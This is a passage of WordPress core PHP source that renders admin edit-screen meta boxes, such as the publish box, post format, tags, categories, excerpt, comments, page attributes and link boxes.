			} elseif ( 'publish' === $post->post_status || 'private' === $post->post_status ) { // Already published.
				/* translators: Post date information. %s: Date on which the post was published. */
				$stamp = __( 'Published on: %s' );
			} elseif ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { // Draft, 1 or more saves, no date specified.
				$stamp = __( 'Publish <b>immediately</b>' );
			} elseif ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // Draft, 1 or more saves, future date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Schedule for: %s' );
			} else { // Draft, 1 or more saves, date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Publish on: %s' );
			}
			$date = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( $post->post_date ) ),
				date_i18n( $time_format, strtotime( $post->post_date ) )
			);
		} else { // Draft (no saves, and thus no date specified).
			$stamp = __( 'Publish <b>immediately</b>' );
			$date  = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( current_time( 'mysql' ) ) ),
				date_i18n( $time_format, strtotime( current_time( 'mysql' ) ) )
			);
		}

		if ( ! empty( $args['args']['revisions_count'] ) ) :
			?>
			<div class="misc-pub-section misc-pub-revisions">
				<?php
				/* translators: Post revisions heading. %s: The number of available revisions. */
				printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' );
				?>
				<a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Browse revisions' );
					?>
				</span></a>
			</div>
			<?php
		endif;

		if ( $can_publish ) : // Contributors don't get to choose the date of publish.
			?>
			<div class="misc-pub-section curtime misc-pub-curtime">
				<span id="timestamp">
					<?php printf( $stamp, '<b>' . $date . '</b>' ); ?>
				</span>
				<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" role="button">
					<span aria-hidden="true"><?php _e( 'Edit' ); ?></span>
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Edit date and time' );
						?>
					</span>
				</a>
				<fieldset id="timestampdiv" class="hide-if-js">
					<legend class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Date and time' );
						?>
					</legend>
					<?php touch_time( ( 'edit' === $action ), 1 ); ?>
				</fieldset>
			</div>
			<?php
		endif;

		if ( 'draft' === $post->post_status && get_post_meta( $post_id, '_customize_changeset_uuid', true ) ) :
			$message = sprintf(
				/* translators: %s: URL to the Customizer. */
				__( 'This draft comes from your <a href="%s">unpublished customization changes</a>. You can edit, but there is no need to publish now. It will be published automatically with those changes.' ),
				esc_url(
					add_query_arg(
						'changeset_uuid',
						rawurlencode( get_post_meta( $post_id, '_customize_changeset_uuid', true ) ),
						admin_url( 'customize.php' )
					)
				)
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'notice-alt', 'inline' ),
				)
			);
		endif;

		/**
		 * Fires after the post time/date setting in the Publish meta box.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 Added the `$post` parameter.
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_misc_actions', $post );
		?>
	</div>
	<div class="clear"></div>
</div>

<div id="major-publishing-actions">
	<?php
	/**
	 * Fires at the beginning of the publishing actions section of the Publish meta box.
	 *
	 * @since 2.7.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post|null $post WP_Post object for the current post on Edit Post screen,
	 *                           null on Edit Link screen.
	 */
	do_action( 'post_submitbox_start', $post );
	?>
	<div id="delete-action">
		<?php
		if ( current_user_can( 'delete_post', $post_id ) ) {
			if ( ! EMPTY_TRASH_DAYS ) {
				$delete_text = __( 'Delete permanently' );
			} else {
				$delete_text = __( 'Move to Trash' );
			}
			?>
			<a class="submitdelete deletion" href="<?php echo get_delete_post_link( $post_id ); ?>"><?php echo $delete_text; ?></a>
			<?php
		}
		?>
	</div>

	<div id="publishing-action">
		<span class="spinner"></span>
		<?php
		if ( ! in_array( $post->post_status, array( 'publish', 'future', 'private' ), true ) || 0 === $post_id ) {
			if ( $can_publish ) :
				if ( ! empty( $post->post_date_gmt ) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php echo esc_attr_x( 'Schedule', 'post action/button label' ); ?>" />
					<?php submit_button( _x( 'Schedule', 'post action/button label' ), 'primary large', 'publish', false ); ?>
					<?php
				else :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Publish' ); ?>" />
					<?php submit_button( __( 'Publish' ), 'primary large', 'publish', false ); ?>
					<?php
				endif;
			else :
				?>
				<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Submit for Review' ); ?>" />
				<?php submit_button( __( 'Submit for Review' ), 'primary large', 'publish', false ); ?>
				<?php
			endif;
		} else {
			?>
			<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Update' ); ?>" />
			<?php submit_button( __( 'Update' ), 'primary large', 'save', false, array( 'id' => 'publish' ) ); ?>
			<?php
		}
		?>
	</div>
	<div class="clear"></div>
</div>

</div>
	<?php
}

/**
 * Displays attachment submit form fields.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_submit_meta_box( $post ) {
	?>
<div class="submitbox" id="submitpost">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save' ); ?>
</div>


<div id="misc-publishing-actions">
	<div class="misc-pub-section curtime misc-pub-curtime">
		<span id="timestamp">
			<?php
			$uploaded_on = sprintf(
				/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/manual/datetime.format.php */
				__( '%1$s at %2$s' ),
				/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
				/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
			);
			/* translators: Attachment information. %s: Date the attachment was uploaded. */
			printf( __( 'Uploaded on: %s' ), '<b>' . $uploaded_on . '</b>' );
			?>
		</span>
	</div><!-- .misc-pub-section -->

	<?php
	/**
	 * Fires after the 'Uploaded on' section of the Save meta box
	 * in the attachment editing screen.
	 *
	 * @since 3.5.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post $post WP_Post object for the current attachment.
	 */
	do_action( 'attachment_submitbox_misc_actions', $post );
	?>
</div><!-- #misc-publishing-actions -->
<div class="clear"></div>
</div><!-- #minor-publishing -->

<div id="major-publishing-actions">
	<div id="delete-action">
	<?php
	if ( current_user_can( 'delete_post', $post->ID ) ) {
		if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
			printf(
				'<a class="submitdelete deletion" href="%1$s">%2$s</a>',
				get_delete_post_link( $post->ID ),
				__( 'Move to Trash' )
			);
		} else {
			$show_confirmation = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';

			printf(
				'<a class="submitdelete deletion"%1$s href="%2$s">%3$s</a>',
				$show_confirmation,
				get_delete_post_link( $post->ID, '', true ),
				__( 'Delete permanently' )
			);
		}
	}
	?>
	</div>

	<div id="publishing-action">
		<span class="spinner"></span>
		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Update' ); ?>" />
		<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update' ); ?>" />
	</div>
	<div class="clear"></div>
</div><!-- #major-publishing-actions -->

</div>

	<?php
}

/**
 * Displays post format form elements.
 *
 * @since 3.1.0
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Post formats meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_format_meta_box( $post, $box ) {
	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) :
		$post_formats = get_theme_support( 'post-formats' );

		if ( is_array( $post_formats[0] ) ) :
			$post_format = get_post_format( $post->ID );
			if ( ! $post_format ) {
				$post_format = '0';
			}
			// Add in the current one if it isn't there yet, in case the active theme doesn't support it.
			if ( $post_format && ! in_array( $post_format, $post_formats[0], true ) ) {
				$post_formats[0][] = $post_format;
			}
			?>
		<div id="post-formats-select">
		<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Post Formats' );
				?>
			</legend>
			<input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label>
			<?php foreach ( $post_formats[0] as $format ) : ?>
			<br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label>
			<?php endforeach; ?>
		</fieldset>
	</div>
			<?php
	endif;
endif;
}

/**
 * Displays post tags form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Tags meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'post_tag'.
 *     }
 * }
 */
function post_tags_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'post_tag' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args           = wp_parse_args( $args, $defaults );
	$tax_name              = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy              = get_taxonomy( $parsed_args['taxonomy'] );
	$user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms );
	$comma                 = _x( ',', 'tag delimiter' );
	$terms_to_edit         = get_terms_to_edit( $post->ID, $tax_name );
	if ( ! is_string( $terms_to_edit ) ) {
		$terms_to_edit = '';
	}
	?>
<div class="tagsdiv" id="<?php echo $tax_name; ?>">
	<div class="jaxtag">
	<div class="nojs-tags hide-if-js">
		<label for="tax-input-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_or_remove_items; ?></label>
		<p><textarea name="<?php echo "tax_input[$tax_name]"; ?>" rows="3" cols="20" class="the-tags" id="tax-input-<?php echo $tax_name; ?>" <?php disabled( ! $user_can_assign_terms ); ?> aria-describedby="new-tag-<?php echo $tax_name; ?>-desc"><?php echo str_replace( ',', $comma . ' ', $terms_to_edit ); // textarea_escaped by esc_attr() ?></textarea></p>
	</div>
	<?php if ( $user_can_assign_terms ) : ?>
	<div class="ajaxtag hide-if-no-js">
		<label class="screen-reader-text" for="new-tag-<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
		<input data-wp-taxonomy="<?php echo $tax_name; ?>" type="text" id="new-tag-<?php echo $tax_name; ?>" name="newtag[<?php echo $tax_name; ?>]" class="newtag form-input-tip" size="16" autocomplete="off" aria-describedby="new-tag-<?php echo $tax_name; ?>-desc" value="" />
		<input type="button" class="button tagadd" value="<?php esc_attr_e( 'Add' ); ?>" />
	</div>
	<p class="howto" id="new-tag-<?php echo $tax_name; ?>-desc"><?php echo $taxonomy->labels->separate_items_with_commas; ?></p>
	<?php elseif ( empty( $terms_to_edit ) ) : ?>
		<p><?php echo $taxonomy->labels->no_terms; ?></p>
	<?php endif; ?>
	</div>
	<ul class="tagchecklist" role="list"></ul>
</div>
	<?php if ( $user_can_assign_terms ) : ?>
<p class="hide-if-no-js"><button type="button" class="button-link tagcloud-link" id="link-<?php echo $tax_name; ?>" aria-expanded="false"><?php echo $taxonomy->labels->choose_from_most_used; ?></button></p>
<?php endif; ?>
	<?php
}

/**
 * Displays post categories form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Categories meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'category'.
 *     }
 * }
 */
function post_categories_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'category' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args = wp_parse_args( $args, $defaults );
	$tax_name    = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy    = get_taxonomy( $parsed_args['taxonomy'] );
	?>
	<div id="taxonomy-<?php echo $tax_name; ?>" class="categorydiv">
		<ul id="<?php echo $tax_name; ?>-tabs" class="category-tabs">
			<li class="tabs"><a href="#<?php echo $tax_name; ?>-all"><?php echo $taxonomy->labels->all_items; ?></a></li>
			<li class="hide-if-no-js"><a href="#<?php echo $tax_name; ?>-pop"><?php echo esc_html( $taxonomy->labels->most_used ); ?></a></li>
		</ul>

		<div id="<?php echo $tax_name; ?>-pop" class="tabs-panel" style="display: none;">
			<ul id="<?php echo $tax_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
				<?php $popular_ids = wp_popular_terms_checklist( $tax_name ); ?>
			</ul>
		</div>

		<div id="<?php echo $tax_name; ?>-all" class="tabs-panel">
			<?php
			$name = ( 'category' === $tax_name ) ? 'post_category' : 'tax_input[' . $tax_name . ']';
			// Allows for an empty term set to be sent. 0 is an invalid term ID and will be ignored by empty() checks.
			echo "<input type='hidden' name='{$name}[]' value='0' />";
			?>
			<ul id="<?php echo $tax_name; ?>checklist" data-wp-lists="list:<?php echo $tax_name; ?>" class="categorychecklist form-no-clear">
				<?php
				wp_terms_checklist(
					$post->ID,
					array(
						'taxonomy'     => $tax_name,
						'popular_cats' => $popular_ids,
					)
				);
				?>
			</ul>
		</div>
	<?php if ( current_user_can( $taxonomy->cap->edit_terms ) ) : ?>
			<div id="<?php echo $tax_name; ?>-adder" class="wp-hidden-children">
				<a id="<?php echo $tax_name; ?>-add-toggle" href="#<?php echo $tax_name; ?>-add" class="hide-if-no-js taxonomy-add-new">
					<?php
						/* translators: %s: Add New taxonomy label. */
						printf( __( '+ %s' ), $taxonomy->labels->add_new_item );
					?>
				</a>
				<p id="<?php echo $tax_name; ?>-add" class="category-add wp-hidden-child">
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>"><?php echo $taxonomy->labels->add_new_item; ?></label>
					<input type="text" name="new<?php echo $tax_name; ?>" id="new<?php echo $tax_name; ?>" class="form-required form-input-tip" value="<?php echo esc_attr( $taxonomy->labels->new_item_name ); ?>" aria-required="true" />
					<label class="screen-reader-text" for="new<?php echo $tax_name; ?>_parent">
						<?php echo $taxonomy->labels->parent_item_colon; ?>
					</label>
					<?php
					$parent_dropdown_args = array(
						'taxonomy'         => $tax_name,
						'hide_empty'       => 0,
						'name'             => 'new' . $tax_name . '_parent',
						'orderby'          => 'name',
						'hierarchical'     => 1,
						'show_option_none' => '&mdash; ' . $taxonomy->labels->parent_item . ' &mdash;',
					);

					/**
					 * Filters the arguments for the taxonomy parent dropdown on the Post Edit page.
					 *
					 * @since 4.4.0
					 *
					 * @param array $parent_dropdown_args {
					 *     Optional. Array of arguments to generate parent dropdown.
					 *
					 *     @type string   $taxonomy         Name of the taxonomy to retrieve.
					 *     @type bool     $hide_if_empty    True to skip generating markup if no
					 *                                      categories are found. Default 0.
					 *     @type string   $name             Value for the 'name' attribute
					 *                                      of the select element.
					 *                                      Default "new{$tax_name}_parent".
					 *     @type string   $orderby          Which column to use for ordering
					 *                                      terms. Default 'name'.
					 *     @type bool|int $hierarchical     Whether to traverse the taxonomy
					 *                                      hierarchy. Default 1.
					 *     @type string   $show_option_none Text to display for the "none" option.
					 *                                      Default "&mdash; {$parent} &mdash;",
					 *                                      where `$parent` is 'parent_item'
					 *                                      taxonomy label.
					 * }
					 */
					$parent_dropdown_args = apply_filters( 'post_edit_category_parent_dropdown_args', $parent_dropdown_args );

					wp_dropdown_categories( $parent_dropdown_args );
					?>
					<input type="button" id="<?php echo $tax_name; ?>-add-submit" data-wp-lists="add:<?php echo $tax_name; ?>checklist:<?php echo $tax_name; ?>-add" class="button category-add-submit" value="<?php echo esc_attr( $taxonomy->labels->add_new_item ); ?>" />
					<?php wp_nonce_field( 'add-' . $tax_name, '_ajax_nonce-add-' . $tax_name, false ); ?>
					<span id="<?php echo $tax_name; ?>-ajax-response"></span>
				</p>
			</div>
		<?php endif; ?>
	</div>
	<?php
}

/**
 * Displays post excerpt form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_excerpt_meta_box( $post ) {
	?>
<label class="screen-reader-text" for="excerpt">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Excerpt' );
	?>
</label><textarea rows="1" cols="40" name="excerpt" id="excerpt"><?php echo $post->post_excerpt; // textarea_escaped ?></textarea>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Excerpts are optional hand-crafted summaries of your content that can be used in your theme. <a href="%s">Learn more about manual excerpts</a>.' ),
		__( 'https://wordpress.org/documentation/article/what-is-an-excerpt-classic-editor/' )
	);
	?>
</p>
	<?php
}

/**
 * Displays trackback links form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_trackback_meta_box( $post ) {
	$form_trackback = '<input type="text" name="trackback_url" id="trackback_url" class="code" value="' .
		esc_attr( str_replace( "\n", ' ', $post->to_ping ) ) . '" aria-describedby="trackback-url-desc" />';

	if ( '' !== $post->pinged ) {
		$pings          = '<p>' . __( 'Already pinged:' ) . '</p><ul>';
		$already_pinged = explode( "\n", trim( $post->pinged ) );
		foreach ( $already_pinged as $pinged_url ) {
			$pings .= "\n\t<li>" . esc_html( $pinged_url ) . '</li>';
		}
		$pings .= '</ul>';
	}

	?>
<p>
	<label for="trackback_url"><?php _e( 'Send trackbacks to:' ); ?></label>
	<?php echo $form_trackback; ?>
</p>
<p id="trackback-url-desc" class="howto"><?php _e( 'Separate multiple URLs with spaces' ); ?></p>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Trackbacks are a way to notify legacy blog systems that you&#8217;ve linked to them. If you link other WordPress sites, they&#8217;ll be notified automatically using <a href="%s">pingbacks</a>, no other action necessary.' ),
		__( 'https://wordpress.org/documentation/article/introduction-to-blogging/#comments' )
	);
	?>
</p>
	<?php
	if ( ! empty( $pings ) ) {
		echo $pings;
	}
}

/**
 * Displays custom fields form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_custom_meta_box( $post ) {
	?>
<div id="postcustomstuff">
<div id="ajax-response"></div>
	<?php
	$metadata = has_meta( $post->ID );
	foreach ( $metadata as $key => $value ) {
		if ( is_protected_meta( $metadata[ $key ]['meta_key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post->ID, $metadata[ $key ]['meta_key'] ) ) {
			unset( $metadata[ $key ] );
		}
	}
	list_meta( $metadata );
	meta_form( $post );
	?>
</div>
<p>
	<?php
	printf(
		/* translators: %s: Documentation URL. */
		__( 'Custom fields can be used to add extra metadata to a post that you can <a href="%s">use in your theme</a>.' ),
		__( 'https://wordpress.org/documentation/article/assign-custom-fields/' )
	);
	?>
</p>
	<?php
}

/**
 * Displays comments status form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_status_meta_box( $post ) {
	?>
<input name="advanced_view" type="hidden" value="1" />
<p class="meta-options">
	<label for="comment_status" class="selectit"><input name="comment_status" type="checkbox" id="comment_status" value="open" <?php checked( $post->comment_status, 'open' ); ?> /> <?php _e( 'Allow comments' ); ?></label><br />
	<label for="ping_status" class="selectit"><input name="ping_status" type="checkbox" id="ping_status" value="open" <?php checked( $post->ping_status, 'open' ); ?> />
		<?php
		printf(
			/* translators: %s: Documentation URL. */
			__( 'Allow <a href="%s">trackbacks and pingbacks</a>' ),
			__( 'https://wordpress.org/documentation/article/introduction-to-blogging/#managing-comments' )
		);
		?>
	</label>
	<?php
	/**
	 * Fires at the end of the Discussion meta box on the post editing screen.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Post $post WP_Post object for the current post.
	 */
	do_action( 'post_comment_status_meta_box-options', $post ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores
	?>
</p>
	<?php
}

/**
 * Displays comments for post table header
 *
 * @since 3.0.0
 *
 * @param array $result Table header rows.
 * @return array
 */
function post_comment_meta_box_thead( $result ) {
	unset( $result['cb'], $result['response'] );
	return $result;
}

/**
 * Displays comments for post.
 *
 * @since 2.8.0
 *
 * @param WP_Post $post Current post object.
 */
function post_comment_meta_box( $post ) {
	wp_nonce_field( 'get-comments', 'add_comment_nonce', false );
	?>
	<p class="hide-if-no-js" id="add-new-comment"><button type="button" class="button" onclick="window.commentReply && commentReply.addcomment(<?php echo $post->ID; ?>);"><?php _e( 'Add Comment' ); ?></button></p>
	<?php

	$total         = get_comments(
		array(
			'post_id' => $post->ID,
			'count'   => true,
			'orderby' => 'none',
		)
	);
	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
	$wp_list_table->display( true );

	if ( 1 > $total ) {
		echo '<p id="no-comments">' . __( 'No comments yet.' ) . '</p>';
	} else {
		$hidden = get_hidden_meta_boxes( get_current_screen() );
		if ( ! in_array( 'commentsdiv', $hidden, true ) ) {
			?>
			<script type="text/javascript">jQuery(function(){commentsBox.get(<?php echo $total; ?>, 10);});</script>
			<?php
		}

		?>
		<p class="hide-if-no-js" id="show-comments"><a href="#commentstatusdiv" onclick="commentsBox.load(<?php echo $total; ?>);return false;"><?php _e( 'Show comments' ); ?></a> <span class="spinner"></span></p>
		<?php
	}

	wp_comment_trashnotice();
}

/**
 * Displays slug form fields.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_slug_meta_box( $post ) {
	/** This filter is documented in wp-admin/edit-tag-form.php */
	$editable_slug = apply_filters( 'editable_slug', $post->post_name, $post );
	?>
<label class="screen-reader-text" for="post_name">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Slug' );
	?>
</label><input name="post_name" type="text" class="large-text" id="post_name" value="<?php echo esc_attr( $editable_slug ); ?>" />
	<?php
}

/**
 * Displays form field with list of authors.
 *
 * @since 2.6.0
 *
 * @global int $user_ID
 *
 * @param WP_Post $post Current post object.
 */
function post_author_meta_box( $post ) {
	global $user_ID;

	$post_type_object = get_post_type_object( $post->post_type );
	?>
<label class="screen-reader-text" for="post_author_override">
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Author' );
	?>
</label>
	<?php
	wp_dropdown_users(
		array(
			'capability'       => array( $post_type_object->cap->edit_posts ),
			'name'             => 'post_author_override',
			'selected'         => empty( $post->ID ) ? $user_ID : $post->post_author,
			'include_selected' => true,
			'show'             => 'display_name_with_login',
		)
	);
}

/**
 * Displays list of revisions.
 *
 * @since 2.6.0
 *
 * @param WP_Post $post Current post object.
 */
function post_revisions_meta_box( $post ) {
	wp_list_post_revisions( $post );
}

//
// Page-related Meta Boxes.
//

/**
 * Displays page attributes form fields.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Current post object.
 */
function page_attributes_meta_box( $post ) {
	if ( is_post_type_hierarchical( $post->post_type ) ) :
		$dropdown_args = array(
			'post_type'        => $post->post_type,
			'exclude_tree'     => $post->ID,
			'selected'         => $post->post_parent,
			'name'             => 'parent_id',
			'show_option_none' => __( '(no parent)' ),
			'sort_column'      => 'menu_order, post_title',
			'echo'             => 0,
		);

		/**
		 * Filters the arguments used to generate a Pages drop-down element.
		 *
		 * @since 3.3.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array   $dropdown_args Array of arguments used to generate the pages drop-down.
		 * @param WP_Post $post          The current post.
		 */
		$dropdown_args = apply_filters( 'page_attributes_dropdown_pages_args', $dropdown_args, $post );
		$pages         = wp_dropdown_pages( $dropdown_args );
		if ( ! empty( $pages ) ) :
			?>
<p class="post-attributes-label-wrapper parent-id-label-wrapper"><label class="post-attributes-label" for="parent_id"><?php _e( 'Parent' ); ?></label></p>
			<?php echo $pages; ?>
			<?php
		endif; // End empty pages check.
	endif;  // End hierarchical check.

	if ( count( get_page_templates( $post ) ) > 0 && (int) get_option( 'page_for_posts' ) !== $post->ID ) :
		$template = ! empty( $post->page_template ) ? $post->page_template : false;
		?>
<p class="post-attributes-label-wrapper page-template-label-wrapper"><label class="post-attributes-label" for="page_template"><?php _e( 'Template' ); ?></label>
		<?php
		/**
		 * Fires immediately after the label inside the 'Template' section
		 * of the 'Page Attributes' meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param string|false $template The template used for the current post.
		 * @param WP_Post      $post     The current post.
		 */
		do_action( 'page_attributes_meta_box_template', $template, $post );
		?>
</p>
<select name="page_template" id="page_template">
		<?php
		/**
		 * Filters the title of the default page template displayed in the drop-down.
		 *
		 * @since 4.1.0
		 *
		 * @param string $label   The display value for the default page template title.
		 * @param string $context Where the option label is displayed. Possible values
		 *                        include 'meta-box' or 'quick-edit'.
		 */
		$default_title = apply_filters( 'default_page_template_title', __( 'Default template' ), 'meta-box' );
		?>
<option value="default"><?php echo esc_html( $default_title ); ?></option>
		<?php page_template_dropdown( $template, $post->post_type ); ?>
</select>
<?php endif; ?>
	<?php if ( post_type_supports( $post->post_type, 'page-attributes' ) ) : ?>
<p class="post-attributes-label-wrapper menu-order-label-wrapper"><label class="post-attributes-label" for="menu_order"><?php _e( 'Order' ); ?></label></p>
<input name="menu_order" type="text" size="4" id="menu_order" value="<?php echo esc_attr( $post->menu_order ); ?>" />
		<?php
		/**
		 * Fires before the help hint text in the 'Page Attributes' meta box.
		 *
		 * @since 4.9.0
		 *
		 * @param WP_Post $post The current post.
		 */
		do_action( 'page_attributes_misc_attributes', $post );
		?>
		<?php if ( 'page' === $post->post_type && get_current_screen()->get_help_tabs() ) : ?>
<p class="post-attributes-help-text"><?php _e( 'Need help? Use the Help tab above the screen title.' ); ?></p>
			<?php
	endif;
	endif;
}

//
// Link-related Meta Boxes.
//

/**
 * Displays link create form fields.
 *
 * @since 2.7.0
 *
 * @param object $link Current link object.
 */
function link_submit_meta_box( $link ) {
	?>
<div class="submitbox" id="submitlink">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save', false ); ?>
</div>

<div id="minor-publishing-actions">
<div id="preview-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<a class="preview button" href="<?php echo $link->link_url; ?>" target="_blank"><?php _e( 'Visit Link' ); ?></a>
<?php } ?>
</div>
<div class="clear"></div>
</div>

<div id="misc-publishing-actions">
<div class="misc-pub-section misc-pub-private">
	<label for="link_private" class="selectit"><input id="link_private" name="link_visible" type="checkbox" value="N" <?php checked( $link->link_visible, 'N' ); ?> /> <?php _e( 'Keep this link private' ); ?></label>
</div>
</div>

</div>

<div id="major-publishing-actions">
	<?php
	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'post_submitbox_start', null );
	?>
<div id="delete-action">
	<?php
	if ( ! empty( $_GET['action'] ) && 'edit' === $_GET['action'] && current_user_can( 'manage_links' ) ) {
		printf(
			'<a class="submitdelete deletion" href="%s" onclick="return confirm( \'%s\' );">%s</a>',
			wp_nonce_url( "link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id ),
			/* translators: %s: Link name. */
			esc_js( sprintf( __( "You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete." ), $link->link_name ) ),
			__( 'Delete' )
		);
	}
	?>
</div>

<div id="publishing-action">
	<?php if ( ! empty( $link->link_id ) ) { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update Link' ); ?>" />
<?php } else { ?>
	<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Add Link' ); ?>" />
<?php } ?>
</div>
<div class="clear"></div>
</div>
	<?php
	/**
	 * Fires at the end of the Publish box in the Link editing screen.
	 *
	 * @since 2.5.0
	 */
	do_action( 'submitlink_box' );
	?>
<div class="clear"></div>
</div>
	<?php
}

/**
 * Displays link categories form fields.
 *
 * @since 2.6.0
 *
 * @param object $link Current link object.
 */
function link_categories_meta_box( $link ) {
	?>
<div id="taxonomy-linkcategory" class="categorydiv">
	<ul id="category-tabs" class="category-tabs">
		<li class="tabs"><a href="#categories-all"><?php _e( 'All categories' ); ?></a></li>
		<li class="hide-if-no-js"><a href="#categories-pop"><?php _ex( 'Most Used', 'categories' ); ?></a></li>
	</ul>

	<div id="categories-all" class="tabs-panel">
		<ul id="categorychecklist" data-wp-lists="list:category" class="categorychecklist form-no-clear">
			<?php
			if ( isset( $link->link_id ) ) {
				wp_link_category_checklist( $link->link_id );
			} else {
				wp_link_category_checklist();
			}
			?>
		</ul>
	</div>

	<div id="categories-pop" class="tabs-panel" style="display: none;">
